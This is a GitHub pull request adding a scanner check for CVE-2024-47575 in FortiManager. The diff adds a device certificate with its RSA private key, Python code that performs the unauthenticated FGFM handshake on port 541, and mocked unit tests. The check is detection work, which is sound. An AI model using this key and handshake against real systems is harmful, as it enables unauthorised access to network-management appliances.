Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add detection for CVE-2024-47575 #137

Merged
merged 2 commits into from
Nov 21, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 23 additions & 0 deletions agent/Resources/FortimangerCerts/w00t_cert.bin
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
-----BEGIN CERTIFICATE-----
MIIDyjCCArKgAwIBAgIEAuQYnjANBgkqhkiG9w0BAQsFADCBoDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCkNhbGlmb3JuaWExEjAQBgNVBAcTCVN1bm55dmFsZTERMA8G
A1UEChMIRm9ydGluZXQxHjAcBgNVBAsTFUNlcnRpZmljYXRlIEF1dGhvcml0eTEQ
MA4GA1UEAxMHc3VwcG9ydDEjMCEGCSqGSIb3DQEJARYUc3VwcG9ydEBmb3J0aW5l
dC5jb20wHhcNMjQxMTAzMTQ1NTA0WhcNMzgwMTE4MjIzNDM5WjCBnTELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCVN1bm55dmFsZTER
MA8GA1UECgwIRm9ydGluZXQxEjAQBgNVBAsMCUZvcnRpR2F0ZTEZMBcGA1UEAwwQ
RkdWTUVWV0c4WU1UM1I2MzEjMCEGCSqGSIb3DQEJARYUc3VwcG9ydEBmb3J0aW5l
dC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9TslKE0cKYIWx
2NpPA8Gh/MGnRLuUal+EoxJVw7JoEByjFaxEfX8zGtHvNL8fSGKpzkftlsVJWLjt
OZlmGALNFwNB1f4EzdL3jWf8biySsHHTtYIX0v7tMfsW9kS68ZPJnUaYOIALk+W0
Q4EQTcQUOllm/pc8KPSbufckzr//ik0kFave3f0XRiz7aSQHvZ6hDfDVyp1rcl0c
EJW584/dtkLQCyObT57DxRvSIDtyW//DTGRNfJWzwOG/hUR+4LQnzVjmQ7WRmxRz
RkVTt8g0xomuT18qCQOl408eNpStVSvezCArLx5mrL5c/nI2S6ZjDewh99HyvxS5
KCbHRPRbAgMBAAGjDTALMAkGA1UdEwQCMAAwDQYJKoZIhvcNAQELBQADggEBAEHb
t4uTxIuJO6TmcnT4NarL2PrQLtkSU8ApXdvWpXxpdYtW9cACt0HYHZtmSP2XbQDk
zKnfw/4ODn48v4FMfUMS5FE7koxODgZf6aVP7nckJ/mLSFEsyc/y6IeZcuNhOqoR
qvYYlscQkt2kvq7+EejB2ffYGAIVSJggFsWvodH08aWsA3cCITIL24sjHx+fQdw6
rbY0JLk3+OLqeVAf2p0CBynYkRNAfUa/EOhLg9Q1Vts4SRv6DKiyRrVLSDmX1W+T
KMfUZ5Y03hNGLaRHZNRxzGBgCAEdRXuUSonI71HIniRu5Q3iGK2XoMPZ3V1GKiJz
gJ6SLZBYXJeJjx15zjM=
-----END CERTIFICATE-----
27 changes: 27 additions & 0 deletions agent/Resources/FortimangerCerts/w00t_key.bin
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvU7JShNHCmCFsdjaTwPBofzBp0S7lGpfhKMSVcOyaBAcoxWs
RH1/MxrR7zS/H0hiqc5H7ZbFSVi47TmZZhgCzRcDQdX+BM3S941n/G4skrBx07WC
F9L+7TH7FvZEuvGTyZ1GmDiAC5PltEOBEE3EFDpZZv6XPCj0m7n3JM6//4pNJBWr
3t39F0Ys+2kkB72eoQ3w1cqda3JdHBCVufOP3bZC0Asjm0+ew8Ub0iA7clv/w0xk
TXyVs8Dhv4VEfuC0J81Y5kO1kZsUc0ZFU7fINMaJrk9fKgkDpeNPHjaUrVUr3swg
Ky8eZqy+XP5yNkumYw3sIffR8r8UuSgmx0T0WwIDAQABAoIBAEjOZUH0+gx2pNSK
dyOOaUkYgY4INDBXXNcRNHsBobq9/5WFP1S0A1ivRvA9lAe++hsed7FbnBKiabTq
wyFtuJ4R7LHEUEaetjV5D/YYlVHxREXM9/SbtGmbIFtraXGQeWs/7qeaizxorB5R
G/EeR3wUGNAwuA9uHO1Lb06bqWHosGIm0bOstT1kZgjTZBCxF+HM9L9xr1Cf8+58
JXQFoq47qyYaUmy0uZi6cbEQ1nPixsg956mVND4tbB1Dv7j8dOIKvmBXLXYLhjEO
BvVq765M+88+TTS/QCPimVR27Ekov/SEoaAmWL6CjihrTg8oJlBqpVvCSb9xTqhG
iBJ7GJECgYEA5FmpNoc88mxNqErPajhr8xWwgVegjF3AN8PKSPeuYiK951FPw7Le
YnY5HL/Qnm5XvtoSGbfyyDor9e0oL3K0CuH/h/c292Qx/EIVG020GGEkuhFcXpI2
Ml02lMY7wW4SK5fnCeNFzFV2SuHt7fJ+dn1akfGzQZNtOsxQyrsfwWMCgYEA1Drl
plfrYSlS8HCuEiG9OVAaKXqA5hj8yCw+lNRG9YZA1POMuDCasTO8/PQpFWqL2/aY
3IqUnw4Lu0FoigPVf2Q3ixXP9PsS8V4IHuhTz+jKuzS4SryQ3GdzxFEhr/OibBkP
0zVLX+RY8lk3t3sASni9YRdLylbmNZqZtGu/rqkCgYBXmF1k4XPrusf/atMt9/7Q
/Nz8gNTBg6Ucvyp12y010AXxGivy8kaElr1J3fr1C3b1a0nOO9YSIN6ENDlaGjIe
ipsvWRHozLKwBdl648/WGk2wYsCANq47m644W+LITKUDu/2QuXIo9A+wogJXaNJC
OcvoeEM/QIKCL6Y+XpHL6QKBgDhuWLX8VrgFFuqb640ir3/Xzr0Mt813A2/uY82L
DDsosYBuKhKnydooWa4g9fOd2wZn8Ylix9XrFC98WuGn11MCQMqYyCzpvcW0LRCa
0f5MdeuFPyOQNCyGzX972ys/6wY3O7/7QcmDnCsEkg4VhKRIqoJwgVSR+rByJUCW
DefRAoGAU4ae+SQaPuMw6PJP8vDRwHCghaMFbfn1RKcDksUXqafwPSIbphejtLXl
ODNR4Tnpvd2g9iebEGpdA3Lc7ZyHV7Vu0IT5x+EBdoOqpvM2Tde4pxu+IyEW3VGT
ef0exm2YD7IcAzvTwPJMpbOBxZzMbD9NT+NNBjiWSKK964zcwMo=
-----END RSA PRIVATE KEY-----
161 changes: 161 additions & 0 deletions agent/exploits/cve_2024_47575.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
"""Agent Asteroid implementation for CVE-2024-47575"""

import socket
import re
import struct
import ssl
import random

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

VULNERABILITY_TITLE = "Missing Authentication for critical function in FortiManager"
VULNERABILITY_REFERENCE = "CVE-2024-47575"
VULNERABILITY_DESCRIPTION = (
"A missing authentication for critical function in FortiManager 7.6.0, FortiManager 7.4.0 through 7.4.4, FortiManager 7.2.0 through 7.2.7,"
" FortiManager 7.0.0 through 7.0.12, FortiManager 6.4.0 through 6.4.14, FortiManager 6.2.0 through 6.2.12, Fortinet FortiManager Cloud 7.4.1 through 7.4.4, FortiManager Cloud 7.2.1 through 7.2.7, FortiManager Cloud 7.0.1 through 7.0.12,"
" FortiManager Cloud 6.4.1 through 6.4.7 allows attacker to execute arbitrary code or commands via specially crafted requests."
)
RISK_RATING = "CRITICAL"

REQUEST_GETIP = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n", b"\r\n")

REQUEST_AUTH = b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n", b"\r\n")

REQUEST_FILE_EXCHANGE = b"""get file_exchange
localid=REPLACE_LOCAL_ID
chan_window_sz=32768
deflate=gzip
file_exch_cmd=put_json_cmd

\0""".replace(b"\n", b"\r\n").replace(
b"REPLACE_LOCAL_ID", str(random.randint(100, 999)).encode()
)

FGFM_PORT = 541


def _sendmsg(socket: ssl.SSLSocket, request: bytes) -> bytes:
"""Send a message over an SSL socket and read the response."""
message = struct.pack(">II", 0x36E01100, len(request) + 8) + request
ybadaoui-ostorlab marked this conversation as resolved.
Show resolved Hide resolved
socket.send(message)
try:
hdr = socket.read(8)
except TimeoutError:
return b""

Check warning on line 88 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L83-L88

Added lines #L83 - L88 were not covered by tests

if len(hdr) != 8:
return hdr

Check warning on line 91 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L90-L91

Added lines #L90 - L91 were not covered by tests

try:
magic, size = struct.unpack(">II", hdr)
return socket.read(size)
except TimeoutError:
return b""

Check warning on line 97 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L93-L97

Added lines #L93 - L97 were not covered by tests
Comment on lines +96 to +97
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

shouldn't we add an error logging here?

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+1



def _create_ssl_sock(target: str) -> ssl.SSLSocket:
"""Create an SSL socket connected to the target."""
host = (target, FGFM_PORT)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

Check warning on line 103 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L102-L103

Added lines #L102 - L103 were not covered by tests

context.load_cert_chain(

Check warning on line 105 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L105

Added line #L105 was not covered by tests
certfile="./agent/Resources/FortimangerCerts/w00t_cert.bin",
keyfile="./agent/Resources/FortimangerCerts/w00t_key.bin",
)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

Check warning on line 110 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L109-L110

Added lines #L109 - L110 were not covered by tests

s = socket.create_connection(host, 30)
ssl_sock = context.wrap_socket(s)
return ssl_sock

Check warning on line 114 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L112-L114

Added lines #L112 - L114 were not covered by tests


@exploits_registry.register
class CVE202447575Exploit(webexploit.WebExploit):
accept_request = definitions.Request(method="GET", path="/p/login/")
accept_pattern = [re.compile("FortiManager")]

metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.

Args:
target: Target to scan.

Returns:
List of identified vulnerabilities.
"""
vulnerabilities: list[definitions.Vulnerability] = []
ssl_sock = _create_ssl_sock(target.host)

_sendmsg(ssl_sock, REQUEST_GETIP)
_sendmsg(ssl_sock, REQUEST_AUTH)
response = _sendmsg(ssl_sock, REQUEST_FILE_EXCHANGE)

try:
decoded_response = response.decode()
response_lines = decoded_response.split("\r\n")

remote_id_line = next(
(line for line in response_lines if line.startswith("remoteid=")), None
ybadaoui-ostorlab marked this conversation as resolved.
Show resolved Hide resolved
)

if remote_id_line is not None:
remote_id = remote_id_line.split("=")[1].strip()
if remote_id != "":
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)
except (UnicodeDecodeError, IndexError, ValueError):
return vulnerabilities

Check warning on line 159 in agent/exploits/cve_2024_47575.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2024_47575.py#L158-L159

Added lines #L158 - L159 were not covered by tests

return vulnerabilities
Comment on lines +155 to +161
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

why are we using list if we only append one vulnerability? if we need it to be a list maybe we can do `return [vulnerability]? and can we return directly without appending? since it seem that we only return once

72 changes: 72 additions & 0 deletions tests/exploits/cve_2024_47575_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
from unittest import mock
from agent.exploits import cve_2024_47575
from agent import definitions
import typing


MockSendmsgSideEffect = typing.Callable[[mock.MagicMock, bytes], bytes]


@mock.patch("agent.exploits.cve_2024_47575._create_ssl_sock")
@mock.patch("agent.exploits.cve_2024_47575._sendmsg")
def testCVE202447575_whenVulnerable_reportFinding(
mock_sendmsg: mock.MagicMock, mock_create_ssl_sock: mock.MagicMock
) -> None:
"""CVE-2024-47575 unit test: case when target is vulnerable."""

mock_ssl_socket = mock.MagicMock()
mock_create_ssl_sock.return_value = mock_ssl_socket

def mock_sendmsg_side_effect(sock: mock.MagicMock, request: bytes) -> bytes:
if b"get ip" in request:
return b"0\r\nrequest=ip\r\nip=169.254.0.20\r\nmgmtid=1624783840\r\nregister_status=0\r\nmgmtport=443\r\ncur_tun_serial= \r\nkeepalive_interval=120\r\nchan_window_sz=32768\r\nsock_timeout=360\r\n\r\n\x00"
elif b"get auth" in request:
return b"0\r\nrequest=auth\r\nserialno=FMG-VM0A14000310\r\nuser=\r\npasswd=\r\nmgmtport=443\r\nkeepalive_interval=120\r\nchan_window_sz=32768\r\nsock_timeout=360\r\nmgmtid=1624783840\r\n\r\n\x00"
elif b"get file_exchange" in request:
return b"\naction=ack\r\nremoteid=178\r\nlocalid=27189\r\nchan_window_sz=32768\r\ndeflate=gzip\r\n\r\n\x00"
return b""

Check warning on line 27 in tests/exploits/cve_2024_47575_test.py

View check run for this annotation

Codecov / codecov/patch

tests/exploits/cve_2024_47575_test.py#L27

Added line #L27 was not covered by tests

mock_sendmsg.side_effect = mock_sendmsg_side_effect

exploit_instance = cve_2024_47575.CVE202447575Exploit()
target = definitions.Target("http", "localhost", 80)
vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) > 0
vulnerability = vulnerabilities[0]
assert (
vulnerability.entry.title
== "Missing Authentication for critical function in FortiManager"
)
assert vulnerability.technical_detail == (
"http://localhost:80 is vulnerable to CVE-2024-47575, "
"Missing Authentication for critical function in FortiManager"
)


@mock.patch("agent.exploits.cve_2024_47575._create_ssl_sock")
@mock.patch("agent.exploits.cve_2024_47575._sendmsg")
def testCVE202447575_whenSafe_reportNothing(
mock_sendmsg: mock.MagicMock, mock_create_ssl_sock: mock.MagicMock
) -> None:
"""CVE-2024-47575 unit test: case when target is safe."""

mock_ssl_socket = mock.MagicMock()
mock_create_ssl_sock.return_value = mock_ssl_socket

def mock_sendmsg_side_effect(sock: mock.MagicMock, request: bytes) -> bytes:
if b"get ip" in request:
return b"0\r\nrequest=ip\r\nip=169.254.0.20\r\nmgmtid=1624783840\r\nregister_status=0\r\nmgmtport=443\r\ncur_tun_serial= \r\nkeepalive_interval=120\r\nchan_window_sz=32768\r\nsock_timeout=360\r\n\r\n\x00"
elif b"get auth" in request:
return b"0\r\nrequest=auth\r\nserialno=FMG-VM0A14000310\r\nuser=\r\npasswd=\r\nmgmtport=443\r\nkeepalive_interval=120\r\nchan_window_sz=32768\r\nsock_timeout=360\r\nmgmtid=1624783840\r\n\r\n\x00"
elif b"get file_exchange" in request:
return b"\naction=error\r\nlocalid=0\r\nchan_window_sz=32768\r\ndeflate=gzip\r\n\r\n\x00"
return b""

Check warning on line 64 in tests/exploits/cve_2024_47575_test.py

View check run for this annotation

Codecov / codecov/patch

tests/exploits/cve_2024_47575_test.py#L64

Added line #L64 was not covered by tests

mock_sendmsg.side_effect = mock_sendmsg_side_effect

exploit_instance = cve_2024_47575.CVE202447575Exploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)
assert len(vulnerabilities) == 0
Loading